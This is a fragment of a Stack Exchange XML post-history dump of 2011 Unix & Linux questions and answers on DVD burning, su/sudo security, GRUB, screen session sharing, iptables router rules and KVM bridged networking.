Wrong medium type&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;...and this:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;$ cdrecord -prcap&#xD;&#xA;wodim: Operation not permitted. Warning: Cannot raise RLIMIT_MEMLOCK limits.&#xD;&#xA;Device was not specified. Trying to find an appropriate drive...&#xD;&#xA;Detected CD-R drive: /dev/cdrw&#xD;&#xA;Using /dev/cdrom of unknown capabilities&#xD;&#xA;Device type    : Removable CD-ROM&#xD;&#xA;Version        : 5&#xD;&#xA;Response Format: 2&#xD;&#xA;Capabilities   : &#xD;&#xA;Vendor_info    : 'Memorex '&#xD;&#xA;Identification : 'DVD+/-DLRWL1 F16'&#xD;&#xA;Revision       : 'BWSB'&#xD;&#xA;Device seems to be: Generic mmc2 DVD-R/DVD-RW.&#xD;&#xA;&#xD;&#xA;Drive capabilities, per MMC-3 page 2A:&#xD;&#xA;&#xD;&#xA;  Does read CD-R media&#xD;&#xA;  Does write CD-R media&#xD;&#xA;  Does read CD-RW media&#xD;&#xA;  Does write CD-RW media&#xD;&#xA;  Does read DVD-ROM media&#xD;&#xA;  Does read DVD-R media&#xD;&#xA;  Does write DVD-R media&#xD;&#xA;  Does not read DVD-RAM media&#xD;&#xA;  Does not write DVD-RAM media&#xD;&#xA;  Does support test writing&#xD;&#xA;&#xD;&#xA;  Does read Mode 2 Form 1 blocks&#xD;&#xA;  Does read Mode 2 Form 2 blocks&#xD;&#xA;  Does read digital audio blocks&#xD;&#xA;  Does restart non-streamed digital audio reads accurately&#xD;&#xA;  Does support Buffer-Underrun-Free recording&#xD;&#xA;  Does read multi-session CDs&#xD;&#xA;  Does read fixed-packet CD media using Method 2&#xD;&#xA;  Does not read CD bar code&#xD;&#xA;  Does read R-W subcode information&#xD;&#xA;  Does not return R-W subcode de-interleaved and error-corrected&#xD;&#xA;  Does read raw P-W subcode data from lead in&#xD;&#xA;  Does return CD media catalog number&#xD;&#xA;  Does return CD ISRC information&#xD;&#xA;  Does support C2 error pointers&#xD;&#xA;  Does not deliver composite A/V data&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Does anyone have any ideas as to what caused this? I just reinstalled Fedora today (for other reasons) and I am still unable to burn a DVD. I am using Memorex DVD-R discs, and have tried different ones. The drive appears to read media just fine.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;UPDATE: some more info requested:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;&#xD;&#xA;$ dvd+rw-mediainfo /dev/sr0&#xD;&#xA;INQUIRY:                [Memorex ][DVD+/-DLRWL1 F16][BWSB]&#xD;&#xA;GET [CURRENT] CONFIGURATION:&#xD;&#xA; Mounted Media:         11h, DVD-R Sequential&#xD;&#xA; Media ID:              RITEKF1     &#xD;&#xA; Current Write Speed:   4.0x1385=5540KB/s&#xD;&#xA; Write Speed #0:        4.0x1385=5540KB/s&#xD;&#xA; Write Speed #1:        2.0x1385=2770KB/s&#xD;&#xA; Write Speed #2:        1.0x1385=1385KB/s&#xD;&#xA;GET [CURRENT] PERFORMANCE:&#xD;&#xA; Write Performance:     4.0x1385=5540KB/s@[0 -&gt; 0]&#xD;&#xA; Speed Descriptor#0:    00/0 R@3.2x1385=4432KB/s W@4.0x1385=5540KB/s&#xD;&#xA; Speed Descriptor#1:    00/0 R@3.2x1385=4432KB/s W@2.0x1385=2770KB/s&#xD;&#xA; Speed Descriptor#2:    00/0 R@3.2x1385=4432KB/s W@1.0x1385=1385KB/s&#xD;&#xA;READ DVD STRUCTURE[#10h]:&#xD;&#xA; Media Book Type:       00h, DVD-ROM book [revision 0]&#xD;&#xA; Legacy lead-out at:    2298496*2KB=4707319808&#xD;&#xA;READ DVD STRUCTURE[#0h]:&#xD;&#xA; Media Book Type:       25h, DVD-R book [revision 5]&#xD;&#xA; Last border-out at:    2045*2KB=4188160&#xD;&#xA;READ DISC INFORMATION:&#xD;&#xA; Disc status:           blank&#xD;&#xA; Number of Sessions:    1&#xD;&#xA; State of Last Session: empty&#xD;&#xA; &quot;Next&quot; Track:          1&#xD;&#xA; Number of Tracks:      1&#xD;&#xA;READ TRACK INFORMATION[#1]:&#xD;&#xA; Track State:           invisible incremental&#xD;&#xA; Track Start Address:   0*2KB&#xD;&#xA; Next Writable Address: 0*2KB&#xD;&#xA; Free Blocks:           2297888*2KB&#xD;&#xA; Track Size:            2297888*2KB&#xD;&#xA;READ CAPACITY:          0*2048=0&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;" />
  <row Id="20460" PostHistoryTypeId="5" PostId="8660" RevisionGUID="8fe6bd13-6578-4d86-929f-401216e5557a" CreationDate="2011-03-05T19:36:15.293" UserId="4319" Comment="One more point for the setup with several root accounts (for several persons)." Text="The designers of the secured OpenWall GNU/*/Linux distro have also expressed critical opinions on `su` (for becoming root) and `sudo`. You might be interested in reading this thread:&#xD;&#xA;&#xD;&#xA;[...unfortunately both su and sudo are subtly but fundamentally&#xD;&#xA;flawed.](http://www.openwall.com/lists/owl-users/2004/10/20/6)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Apart from discussing the flaws of `su` and other things, Solar Designer also targets one specific reason to use `su`: &#xD;&#xA;&#xD;&#xA;&gt; Yes, it used to be common sysadmin&#xD;&#xA;&gt; wisdom to &quot;su root&quot; rather than login&#xD;&#xA;&gt; as root.  Those few who, when asked,&#xD;&#xA;&gt; could actually come up with a valid&#xD;&#xA;&gt; reason for this preference would refer&#xD;&#xA;&gt; to the better accountability achieved&#xD;&#xA;&gt; with this approach.  Yes, this really&#xD;&#xA;&gt; is a good reason in favor of this&#xD;&#xA;&gt; approach.  But it's also the only one. ...(read more)&#xD;&#xA;&#xD;&#xA;In their distro, they have [&quot;completely got rid of SUID root programs in the default install&quot;](http://www.openwall.com/lists/oss-security/2010/11/08/3) (i.e., including `su`; and they do not use capabilities for this):&#xD;&#xA;&#xD;&#xA;&gt; For servers, I think people need to&#xD;&#xA;&gt; reconsider and, in most cases,&#xD;&#xA;&gt; disallow invocation of su and sudo by&#xD;&#xA;&gt; the users.  There's no added security&#xD;&#xA;&gt; from the old &quot;login as non-root, then&#xD;&#xA;&gt; su or sudo to root&quot; sysadmin &quot;wisdom&quot;,&#xD;&#xA;&gt; as compared to logging in as non-root&#xD;&#xA;&gt; and as root directly (two separate&#xD;&#xA;&gt; sessions).  On the contrary, the&#xD;&#xA;&gt; latter approach is the only correct&#xD;&#xA;&gt; one, from a security standpoint:&#xD;&#xA;&gt; &#xD;&#xA;&gt; http://www.openwall.com/lists/owl-users/2004/10/20/6&#xD;&#xA;&gt; &#xD;&#xA;&gt; (For accountability of multiple&#xD;&#xA;&gt; sysadmins, the system needs to support&#xD;&#xA;&gt; having multiple root-privileged&#xD;&#xA;&gt; accounts, like Owl does.)&#xD;&#xA;&gt; &#xD;&#xA;&gt; (For desktops with X, this gets&#xD;&#xA;&gt; trickier.)&#xD;&#xA;&gt; &#xD;&#xA;&gt; You also absolutely have to deal with...&#xD;&#xA;&#xD;&#xA;BTW, they were to replace `sulogin` with `msulogin` to allow the setup with multiple root accounts: `msulogin` allows one to type in the user name also when going into the single user mode (and preserve the &quot;accountability&quot;) (this info comes from [this discussion in Russian](http://www.opennet.ru/openforum/vsluhforumID3/73378.html#24))." />
  <row Id="20461" PostHistoryTypeId="2" PostId="8661" RevisionGUID="ca2db48e-c5cf-40af-b13b-bd7570b07190" CreationDate="2011-03-05T19:56:26.423" UserId="3999" Text="The `File&gt;Connect to Server...` produces the window were I complete the fields as follows:&#xD;&#xA;&#xD;&#xA;    Server Type: Windows Share&#xD;&#xA;    Server: localhost&#xD;&#xA;    Share: sharename&#xD;&#xA;    Folder: somedir/anotherdir&#xD;&#xA;    User Name: myuserid&#xD;&#xA;    Domain Name: THEDOMAIN-NAME&#xD;&#xA;&#xD;&#xA;I use `localhost` for the server after having invoked `ssh` at the command line:&#xD;&#xA;&#xD;&#xA;    sudo ssh myuserid@example.edu -L 445:samba.example:445 -L 139:samba.example:139&#xD;&#xA;&#xD;&#xA;Where `samba.example` is the name behind the firewall." />
  <row Id="20462" PostHistoryTypeId="2" PostId="8662" RevisionGUID="0db5f499-253b-4142-85ad-e153443c1eb2" CreationDate="2011-03-05T20:01:59.630" UserId="5376" Text="I've just installed Backtrack on my harddrive (got one), i also got Fedora and Windows 7. However, now i get the Backtrack-GRUB instead of my Fedora GRUB. How do i change that? I got a sda5 containing my Fedora GRUB so it should be easy to 'rewire' - i don't know how tho." />
  <row Id="20463" PostHistoryTypeId="1" PostId="8662" RevisionGUID="0db5f499-253b-4142-85ad-e153443c1eb2" CreationDate="2011-03-05T20:01:59.630" UserId="5376" Text="Selecting the right GRUB" />
  <row Id="20464" PostHistoryTypeId="3" PostId="8662" RevisionGUID="0db5f499-253b-4142-85ad-e153443c1eb2" CreationDate="2011-03-05T20:01:59.630" UserId="5376" Text="éfedoraàégrubàédualöbootà" />
  <row Id="20465" PostHistoryTypeId="5" PostId="8660" RevisionGUID="0af8c1ee-16c5-43fe-ada1-be368a5f9ace" CreationDate="2011-03-05T20:06:02.730" UserId="4319" Comment="Added an URL for a mentioned utility." Text="The designers of the secured OpenWall GNU/*/Linux distro have also expressed critical opinions on `su` (for becoming root) and `sudo`. You might be interested in reading this thread:&#xD;&#xA;&#xD;&#xA;[...unfortunately both su and sudo are subtly but fundamentally&#xD;&#xA;flawed.](http://www.openwall.com/lists/owl-users/2004/10/20/6)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Apart from discussing the flaws of `su` and other things, Solar Designer also targets one specific reason to use `su`: &#xD;&#xA;&#xD;&#xA;&gt; Yes, it used to be common sysadmin&#xD;&#xA;&gt; wisdom to &quot;su root&quot; rather than login&#xD;&#xA;&gt; as root.  Those few who, when asked,&#xD;&#xA;&gt; could actually come up with a valid&#xD;&#xA;&gt; reason for this preference would refer&#xD;&#xA;&gt; to the better accountability achieved&#xD;&#xA;&gt; with this approach.  Yes, this really&#xD;&#xA;&gt; is a good reason in favor of this&#xD;&#xA;&gt; approach.  But it's also the only one. ...(read more)&#xD;&#xA;&#xD;&#xA;In their distro, they have [&quot;completely got rid of SUID root programs in the default install&quot;](http://www.openwall.com/lists/oss-security/2010/11/08/3) (i.e., including `su`; and they do not use capabilities for this):&#xD;&#xA;&#xD;&#xA;&gt; For servers, I think people need to&#xD;&#xA;&gt; reconsider and, in most cases,&#xD;&#xA;&gt; disallow invocation of su and sudo by&#xD;&#xA;&gt; the users.  There's no added security&#xD;&#xA;&gt; from the old &quot;login as non-root, then&#xD;&#xA;&gt; su or sudo to root&quot; sysadmin &quot;wisdom&quot;,&#xD;&#xA;&gt; as compared to logging in as non-root&#xD;&#xA;&gt; and as root directly (two separate&#xD;&#xA;&gt; sessions).  On the contrary, the&#xD;&#xA;&gt; latter approach is the only correct&#xD;&#xA;&gt; one, from a security standpoint:&#xD;&#xA;&gt; &#xD;&#xA;&gt; http://www.openwall.com/lists/owl-users/2004/10/20/6&#xD;&#xA;&gt; &#xD;&#xA;&gt; (For accountability of multiple&#xD;&#xA;&gt; sysadmins, the system needs to support&#xD;&#xA;&gt; having multiple root-privileged&#xD;&#xA;&gt; accounts, like Owl does.)&#xD;&#xA;&gt; &#xD;&#xA;&gt; (For desktops with X, this gets&#xD;&#xA;&gt; trickier.)&#xD;&#xA;&gt; &#xD;&#xA;&gt; You also absolutely have to deal with...&#xD;&#xA;&#xD;&#xA;BTW, they were to replace `sulogin` with [`msulogin`](http://www.ohloh.net/p/msulogin) to allow the setup with multiple root accounts: `msulogin` allows one to type in the user name also when going into the single user mode (and preserve the &quot;accountability&quot;) (this info comes from [this discussion in Russian](http://www.opennet.ru/openforum/vsluhforumID3/73378.html#24))." />
  <row Id="20466" PostHistoryTypeId="2" PostId="8663" RevisionGUID="81e38da4-fe0b-4166-919d-a3d1f535e1ef" CreationDate="2011-03-05T20:14:09.567" UserId="4970" Text="I recommend taking a look at the file system hierarchy man page:&#xD;&#xA;man hier&#xD;&#xA;&#xD;&#xA;which is lso available online, for instance http://linux.die.net/man/7/hier" />
  <row Id="20467" PostHistoryTypeId="25" PostId="8656" RevisionGUID="75e8fe8a-3551-4a08-b2c4-d57aaa1f1660" CreationDate="2011-03-05T20:23:38.750" Comment="http://twitter.com/#!/StackUnix/status/44130973675290625" />
  <row Id="20468" PostHistoryTypeId="2" PostId="8664" RevisionGUID="4e5a02af-9002-4368-845a-7c6cc6a46717" CreationDate="2011-03-05T21:03:01.533" UserId="5358" Text="The [Filesystem Hierarchy Standard](http://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard#Directory_structure) entry in Wikipedia helped me answer the same question when I had it, plus it has a very explanatory table." />
  <row Id="20469" PostHistoryTypeId="2" PostId="8665" RevisionGUID="d640f8b4-599e-4370-a3b3-99127e8f2a09" CreationDate="2011-03-05T21:23:29.073" UserId="4319" Text="There's a package manager project--[**Nix**](http://nixos.org/nix/)--with an interesting foundational idea (a &quot;*functional*&quot; pkg manager), which also supports a per-user operation:&#xD;&#xA;&#xD;&#xA;&gt; Multi-user support&#xD;&#xA;&gt; &#xD;&#xA;&gt; Starting at version 0.11, Nix has&#xD;&#xA;&gt; multi-user support. This means that&#xD;&#xA;&gt; non-privileged users can securely&#xD;&#xA;&gt; install software. Each user can have a&#xD;&#xA;&gt; different profile, a set of packages&#xD;&#xA;&gt; in the Nix store that appear in the&#xD;&#xA;&gt; user’s PATH. If a user installs a&#xD;&#xA;&gt; package that another user has already&#xD;&#xA;&gt; installed previously, the package&#xD;&#xA;&gt; won’t be built or downloaded a second&#xD;&#xA;&gt; time. At the same time, it is not&#xD;&#xA;&gt; possible for one user to inject a&#xD;&#xA;&gt; Trojan horse into a package that might&#xD;&#xA;&gt; be used by another user.&#xD;&#xA;&#xD;&#xA;[There are also](http://nixos.org/) an associated large collection of packages that can be installed with the Nix package manager--**Nixpkgs**, and an associated distro--**NixOS**:&#xD;&#xA;&#xD;&#xA;&gt; NixOS is a Linux distribution based on&#xD;&#xA;&gt; Nix. It uses Nix not just for package&#xD;&#xA;&gt; management but also to manage the&#xD;&#xA;&gt; system configuration (e.g., to build&#xD;&#xA;&gt; configuration files in /etc). This&#xD;&#xA;&gt; means, among other things, that it’s&#xD;&#xA;&gt; possible to easily roll back the&#xD;&#xA;&gt; entire configuration of the system to&#xD;&#xA;&gt; an earlier state. Also, users can&#xD;&#xA;&gt; install software without root&#xD;&#xA;&gt; privileges. [Read more…](http://nixos.org/nixos)&#xD;&#xA;&#xD;&#xA;and an associated &quot;continuous&quot; build system--**Hydra**.&#xD;&#xA;" />
  <row Id="20470" PostHistoryTypeId="2" PostId="8666" RevisionGUID="174c14ad-708d-4824-84d2-ac1a98195dab" CreationDate="2011-03-05T21:41:25.340" UserId="912" Text="Many a times, I want my colleague to have a look at some code on my system. He will mostly do it at his free time, and will need to login as me.&#xD;&#xA;&#xD;&#xA;Is there a way I can open a new shell as me, and then ***transfer*** the shell to him on his machine, so that he can use it whenever he wants to?" />
  <row Id="20471" PostHistoryTypeId="1" PostId="8666" RevisionGUID="174c14ad-708d-4824-84d2-ac1a98195dab" CreationDate="2011-03-05T21:41:25.340" UserId="912" Text="How can I share a shell with my colleague w/o using VNC?" />
  <row Id="20472" PostHistoryTypeId="3" PostId="8666" RevisionGUID="174c14ad-708d-4824-84d2-ac1a98195dab" CreationDate="2011-03-05T21:41:25.340" UserId="912" Text="éshellàécollaborationà" />
  <row Id="20473" PostHistoryTypeId="2" PostId="8667" RevisionGUID="4db1b14f-2552-4ff2-a843-6d42fbb696d2" CreationDate="2011-03-05T22:42:12.893" UserId="1207" Text="I would consider using `screen` to do this.  Although, the only method I know of does produce some security concerns.  Screen has the ability to create access control lists and the ability to allow multiple screen sessions with a variety of permissions.  The setup can be a bit tricky, but the idea is this:&#xD;&#xA;&#xD;&#xA;1. Create a user account for your coworker.&#xD;&#xA;2. Give your coworker ssh access to your machine.&#xD;&#xA;3. Make the screen executable setuid root (*dangerous*).&#xD;&#xA;4. Change the permissions on `/var/run/screen` to 755 (Other permissions setups might be doable, this is just what I've always done. Also, this is the path on Debian, I'm unsure if it is different elsewhere)&#xD;&#xA;5. Edit your `~/.screenrc` to enable multiuser mode:&#xD;&#xA;&#xD;&#xA;        multiuser on &#xD;&#xA;&#xD;&#xA;6. Edit your `~/.screenrc` to set up the right permissions using the commands: `acladd`, `aclchg`, and `aclgrp`.  See the man pages for the details.&#xD;&#xA;&#xD;&#xA;Your coworker could then log into your machine via ssh and connect to your screen session.  Via the `ssh` config, you could actually force him to connect to the screen session upon his logging in.  The following blog post has more detailed instructions (these directions are roughly based off of them) in the context of holding a class using screen:&#xD;&#xA;&#xD;&#xA;http://blog.dustinkirkland.com/2009/04/teaching-class-with-gnu-screen.html&#xD;&#xA;&#xD;&#xA;Your use case is a bit different, but I think that the only real difference will be the permissions you set in `~/.screenrc` and the name of the user." />
  <row Id="20474" PostHistoryTypeId="25" PostId="8666" RevisionGUID="e8bb11db-7102-46ac-9fda-4f07ef69ec37" CreationDate="2011-03-05T23:23:38.730" Comment="http://twitter.com/#!/StackUnix/status/44176271491608576" />
  <row Id="20475" PostHistoryTypeId="5" PostId="8637" RevisionGUID="f5b59bf3-968c-4c97-a008-5a9603a91778" CreationDate="2011-03-05T23:26:53.657" UserId="4477" Comment="iptables rules fixed" Text="If you want to separate wireless and wired users why not match the interfaces?&#xD;&#xA;Assuming ppp0 is facing the internet, eth0 is your local LAN and wlan0 is the wireless:&#xD;&#xA;&#xD;&#xA;    iptables -P FORWARD DROP                                 # Drop everything except:&#xD;&#xA;    iptables -A FORWARD -m state --state RELATED,ESTABLISHED # Accept already accepted connections&#xD;&#xA;    iptables -A FORWARD -i eth0 -o ppp0 -j ACCEPT            # Accept outgoing connections from local LAN&#xD;&#xA;    iptables -A FORWARD -i wlan0 -o ppp0 -j ACCEPT           # Accept outgonig connnections from wlan&#xD;&#xA;&#xD;&#xA;If you use this:&#xD;&#xA;&#xD;&#xA;* nothing can be connected from the internet&#xD;&#xA;* wireless users can only connect to the internet&#xD;&#xA;* wired users can only connect to the internet&#xD;&#xA;* you can enforce separate IP ranges if you add the `--src-range`&#xD;&#xA;&#xD;&#xA;If your DHCP server is running on the OpenWrt device then the FORWARD chain will not affect that in any way. To allow the DHCP server use&#xD;&#xA;&#xD;&#xA;    iptables -P INPUT DROP                                   # Drop everything except:&#xD;&#xA;    iptables -A INPUT -m state --state RELATED,ESTABLISHED   # Accept already accepted connections&#xD;&#xA;    iptables -A INPUT ! -i ppp0 -p tcp --dport 22 -j ACCEPT  # Don't forget SSH&#xD;&#xA;    iptables -A INPUT ! -i ppp0 -p udp --sport 68 --dport 67 # Accept DHCP requests from any local network&#xD;&#xA;&#xD;&#xA;I generally allow everything in OUTPUT except a few types of ICMP and spam. But you might prefer the safer default DROP so here is the specific rule:&#xD;&#xA;&#xD;&#xA;    iptables -P OUTPUT DROP                                             # Drop everything except:&#xD;&#xA;    iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT&#xD;&#xA;    iptables -A OUTPUT ! -o ppp0 -p udp --sport 67 --dport 68 -j ACCEPT # Allow DHCP to the local network&#xD;&#xA;&#xD;&#xA;It makes more sense on a router which is not supposed to connect to everything.&#xD;&#xA;&#xD;&#xA;I would advise against MAC filtering in my experience it adds no security only inconvinience. But if you want to see:&#xD;&#xA;&#xD;&#xA;    iptables -m mac --help&#xD;&#xA;&#xD;&#xA;Logging MAC addresses could be useful but they are easily forged. Just add `-j LOG` or `-j NFLOG` before the ACCEPT rule with the same matching rules.&#xD;&#xA;&#xD;&#xA;Since you are configuring a computer which is only accessible from the network you should be very careful not to lock yourself out. You can't just walk to it and delete the rules manually. In particular typing `iptables -P INPUT DROP` with an empty INPUT chain will kill your SSH session. I recommend using the `iptables-save` and `iptables-restore` and writing the rules in a config file. It also helps if you can test the rules on a computer with a keyboard and monitor before trying it on the router." />
  <row Id="20476" PostHistoryTypeId="2" PostId="8668" RevisionGUID="45624516-2c9b-4bd8-9c58-3a9cc8660440" CreationDate="2011-03-05T23:40:02.927" UserId="5384" Text="I have an old PC lying around which I've installed Debian 6.0 on.  Last night I was trying to SSH in and it wouldn't respond so I pressed the reset button.  How can I find out what happened to it?  It seems fine now." />
  <row Id="20477" PostHistoryTypeId="1" PostId="8668" RevisionGUID="45624516-2c9b-4bd8-9c58-3a9cc8660440" CreationDate="2011-03-05T23:40:02.927" UserId="5384" Text="How can I find out what happened to my Debian box?" />
  <row Id="20478" PostHistoryTypeId="3" PostId="8668" RevisionGUID="45624516-2c9b-4bd8-9c58-3a9cc8660440" CreationDate="2011-03-05T23:40:02.927" UserId="5384" Text="élinuxàédebianà" />
  <row Id="20479" PostHistoryTypeId="2" PostId="8669" RevisionGUID="fbba94e2-c687-4cd1-8787-c8093556ed42" CreationDate="2011-03-06T00:14:56.003" UserId="5261" Text="Reading the .1 logs is always a good place to start.&#xD;&#xA;&#xD;&#xA;Use `iptraf` to see if your machine makes any suspisious connections (if someone got/has unauthorized access).&#xD;&#xA;&#xD;&#xA;Run a `rkhunter` scan:  &#xD;&#xA;`aptitude install rkhunter`  &#xD;&#xA;`rkhunter --update`  &#xD;&#xA;`rkhunter --check`&#xD;&#xA;&#xD;&#xA;And should it ever happen again, attach a monitor and see what the console says :)" />
  <row Id="20480" PostHistoryTypeId="2" PostId="8670" RevisionGUID="671e3e13-5b06-493b-819e-4c1cc0a43875" CreationDate="2011-03-06T00:28:09.610" UserId="5261" Text="`screen -x` ought to be the simplest solution." />
  <row Id="20481" PostHistoryTypeId="2" PostId="8671" RevisionGUID="cd070b85-ba57-45af-8362-757150cc2662" CreationDate="2011-03-06T00:44:30.013" UserId="885" Text="Assuming your computer is usually stable, check for hardware problems, especially with the RAM (i.e. install `memtest86+` and choose memtest at the boot prompt), but also with disks (disk errors sometimes crash the filesystem code; install `smartmontools` and run `smartctl -a /dev/sda`). If the problem was gradual, you may find something in the kernel logs (`/var/log/kern.log`), but often the crash happens too brutally for anything to be written to the logs.&#xD;&#xA;" />
  <row Id="20482" PostHistoryTypeId="2" PostId="8672" RevisionGUID="93bb715b-3958-4b52-a39e-a935a9c39e96" CreationDate="2011-03-06T00:48:20.103" UserId="3046" Text="Where do you want to disable it? If all traffic runs through a router or switch that can run iptables then yes, it is simple.&#xD;&#xA;&#xD;&#xA;If you want to block it on each machine, and they all run iptables, then yes, again - simple.&#xD;&#xA;&#xD;&#xA;On most TCP/IP implementations you can disallow ICMP at the client end.&#xD;&#xA;&#xD;&#xA;Almost all routers that allow access controls will let you block ICMP.&#xD;&#xA;&#xD;&#xA;BUT...are you 100% certain you want to? A lot of apps really like a wee bit of ping to keep em happy :-)" />
  <row Id="20483" PostHistoryTypeId="2" PostId="8673" RevisionGUID="5c0c4594-6455-4e99-a467-5d519ca662ea" CreationDate="2011-03-06T01:25:38.973" UserId="3466" Text="I'm trying to get a guest virtual machine connected to my network using bridging. I've come across a couple of resources online, but they seem to be out of date, deal with xen or Ubuntu or don't seem to be complete. The host is running CentOS 5.5 and I'm using libvirt to manage the VMs so I use it to create the VMs and start and stop them. I have the bridge created (br0) and have attached eth0 to it. The VM doesn't seem to get an IP address, I want to use DHCP for addresses, I'll setup a static lease for the VM. &#xD;&#xA;&#xD;&#xA;ifconfig from the host:&#xD;&#xA;    &#xD;&#xA;    br0   Link encap:Ethernet  HWaddr 00:1A:4D:53:C3:A6  &#xD;&#xA;          inet addr:192.168.1.121  Bcast:192.168.1.255  Mask:255.255.255.0&#xD;&#xA;          inet6 addr: fe80::21a:4dff:fe53:c3a6/64 Scope:Link&#xD;&#xA;          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&#xD;&#xA;          RX packets:5222 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;          TX packets:470 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;          collisions:0 txqueuelen:0 &#xD;&#xA;          RX bytes:753743 (736.0 KiB)  TX bytes:47868 (46.7 KiB)&#xD;&#xA;&#xD;&#xA;    eth0  Link encap:Ethernet  HWaddr 00:1A:4D:53:C3:A6  &#xD;&#xA;          inet6 addr: fe80::21a:4dff:fe53:c3a6/64 Scope:Link&#xD;&#xA;          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&#xD;&#xA;          RX packets:103200 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;          TX packets:116575 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;          collisions:0 txqueuelen:1000 &#xD;&#xA;          RX bytes:13605883 (12.9 MiB)  TX bytes:63269448 (60.3 MiB)&#xD;&#xA;          Interrupt:217 Base address:0xc000 &#xD;&#xA;&#xD;&#xA;     eth1 Link encap:Ethernet  HWaddr 00:1B:21:0A:25:AA  &#xD;&#xA;          inet addr:192.168.1.91  Bcast:192.168.1.255  Mask:255.255.255.0&#xD;&#xA;          inet6 addr: fe80::21b:21ff:fe0a:25aa/64 Scope:Link&#xD;&#xA;          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&#xD;&#xA;          RX packets:3124648 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;          TX packets:1693433 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;          collisions:0 txqueuelen:100 &#xD;&#xA;          RX bytes:4531121842 (4.2 GiB)  TX bytes:119907573 (114.3 MiB)&#xD;&#xA;&#xD;&#xA;     lo   Link encap:Local Loopback  &#xD;&#xA;          inet addr:127.0.0.1  Mask:255.0.0.0&#xD;&#xA;          inet6 addr: ::1/128 Scope:Host&#xD;&#xA;          UP LOOPBACK RUNNING  MTU:16436  Metric:1&#xD;&#xA;          RX packets:27294 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;          TX packets:27294 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;          collisions:0 txqueuelen:0 &#xD;&#xA;          RX bytes:34266420 (32.6 MiB)  TX bytes:34266420 (32.6 MiB)&#xD;&#xA;&#xD;&#xA;    virbr0 Link encap:Ethernet  HWaddr 00:00:00:00:00:00  &#xD;&#xA;           inet addr:192.168.122.1  Bcast:192.168.122.255  Mask:255.255.255.0&#xD;&#xA;           inet6 addr: fe80::200:ff:fe00:0/64 Scope:Link&#xD;&#xA;           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&#xD;&#xA;           RX packets:51332 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;           TX packets:89020 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;           collisions:0 txqueuelen:0 &#xD;&#xA;           RX bytes:2916963 (2.7 MiB)  TX bytes:132997389 (126.8 MiB)&#xD;&#xA;&#xD;&#xA;    vnet0  Link encap:Ethernet  HWaddr FE:52:00:1A:C8:4F  &#xD;&#xA;           inet6 addr: fe80::fc52:ff:fe1a:c84f/64 Scope:Link&#xD;&#xA;           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&#xD;&#xA;           RX packets:25 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;           TX packets:518 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;           collisions:0 txqueuelen:500 &#xD;&#xA;           RX bytes:4226 (4.1 KiB)  TX bytes:51190 (49.9 KiB)&#xD;&#xA;&#xD;&#xA;The output of `brctl show`&#xD;&#xA;&#xD;&#xA;    bridge name	bridge id		STP enabled	interfaces&#xD;&#xA;    br0         8000.001a4d53c3a6       no              vnet0&#xD;&#xA;                                                        eth0&#xD;&#xA;    virbr0      8000.000000000000       yes&#xD;&#xA;&#xD;&#xA;Output from `route`:&#xD;&#xA;&#xD;&#xA;    Kernel IP routing table&#xD;&#xA;    Destination     Gateway         Genmask         Flags Metric Ref    Use Iface&#xD;&#xA;    192.168.1.0     *               255.255.255.0   U     0      0        0 eth1&#xD;&#xA;    192.168.1.0     *               255.255.255.0   U     0      0        0 br0&#xD;&#xA;    192.168.122.0   *               255.255.255.0   U     0      0        0 virbr0&#xD;&#xA;    169.254.0.0     *               255.255.0.0     U     0      0        0 br0&#xD;&#xA;    default         DD-WRT          0.0.0.0         UG    0      0        0 br0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Finally, here's the networking section of the vm I'm trying to configure:&#xD;&#xA;&#xD;&#xA;    &lt;interface type='bridge'&gt;&#xD;&#xA;      &lt;mac address='54:52:00:1a:c8:4f'/&gt;&#xD;&#xA;      &lt;source bridge='br0'/&gt;&#xD;&#xA;    &lt;/interface&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20484" PostHistoryTypeId="1" PostId="8673" RevisionGUID="5c0c4594-6455-4e99-a467-5d519ca662ea" CreationDate="2011-03-06T01:25:38.973" UserId="3466" Text="bridged networking with kvm" />
  <row Id="20485" PostHistoryTypeId="3" PostId="8673" RevisionGUID="5c0c4594-6455-4e99-a467-5d519ca662ea" CreationDate="2011-03-06T01:25:38.973" UserId="3466" Text="énetworkingàécentosàékvmà" />
